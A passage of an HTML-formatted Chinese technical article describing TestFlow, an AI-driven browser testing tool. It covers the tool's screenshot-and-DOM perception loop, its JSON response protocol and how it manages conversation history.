1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 30px;border-top-right-radius: 30px;border-bottom-left-radius: 30px;border-bottom-right-radius: 30px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: center;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">四、AI 自主测试循环引擎</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">TestFlow 最核心的创新点 —— </span><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Autonomous Test Loop</span></strong><span leaf="">。</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0236294896030245" data-type="png" data-w="1058" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038320" src="https://wechat2rss.xlab.app/img-proxy/?k=08b9cc5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdU1nuTRqLImcBic56YAQe9o7qxwPgngyHchUhn8WJyAfOTICvPSO1ENibUXynxCC7AiaApQlvQsj5q1iaonBNtVZHxaHYlYdjVPnQk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">4.1 循环流程</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">整个测试过程是一个不断循环的闭环：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">第一步：页面感知</span></strong><span leaf=""> — 通过 go-rod 截取浏览器截图，同时提取页面所有可交互元素（按钮、输入框、链接等）的结构化 DOM 信息。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">第二步：AI 分析</span></strong><span leaf=""> — 将截图和 DOM 数据连同历史上下文一起发送给多模态大模型。AI 会分析当前页面状态，决定下一步操作。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">第三步：JSON 解析</span></strong><span leaf=""> — AI 返回严格的 JSON 格式响应，包含要执行的操作、生成的测试用例、当前观察和下一步计划。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">第四步：执行操作</span></strong><span leaf=""> — 在浏览器中执行 AI 指令的操作：点击按钮、填写表单、选择下拉框、页面滚动等。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">第五步：用例生成</span></strong><span leaf=""> — 如果 AI 判断当前操作构成一个完整的测试场景，自动生成标准化测试用例。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">第六步：循环判断</span></strong><span leaf=""> — 检查是否满足终止条件（AI 声明完成 / 达到用例上限 / 用户手动停止），否则回到第一步继续。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">4.2 AI 响应的结构化协议</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">TestFlow 设计了一套精确的 JSON 协议来约束 AI 的输出：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这套协议的巧妙之处在于：</span></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">操作与用例解耦</span></strong><span leaf="">：不是每次操作都生成用例，导航等操作设置 </span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">generate: false</span></code></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">批量操作支持</span></strong><span leaf="">：通过 </span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">actions</span></code><span leaf=""> 数组支持表单填写等多步连续操作，减少 AI 交互轮次</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">自终止机制</span></strong><span leaf="">：AI 通过 </span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">is_finished: true</span></code><span leaf=""> 自主声明测试完成</span></p></li></ul><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(130, 127, 196);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: center;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">4.3 智能对话历史管理</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在长时间测试中，对话历史会不断增长，可能超出模型的上下文窗口。TestFlow 实现了两个关键优化：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">上下文裁剪</span></strong><span leaf="">：当消息历史超过 42 条时，自动保留最近 40 条，确保不超出 Token 限制：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(130, 127, 196);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">已测功能摘要注入</span></strong><span leaf="">：每轮交互会将已测过的模块和用例名称注入到提示中，告诉 AI &#34;这些已经测过了，不要重复&#34;：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">【已测试功能摘要（勿重复）】</span><span leaf=""><br/></span><span leaf="">- 登录认证: 空用户名空密码, 错误密码, SQL注入, 正确登录</span><span leaf=""><br/></span><span leaf="">- 用户管理: 新增用户, 编辑用户, 删除用户</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">再配合内存中的 </span><code style="color: rgb(130, 127, 196);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 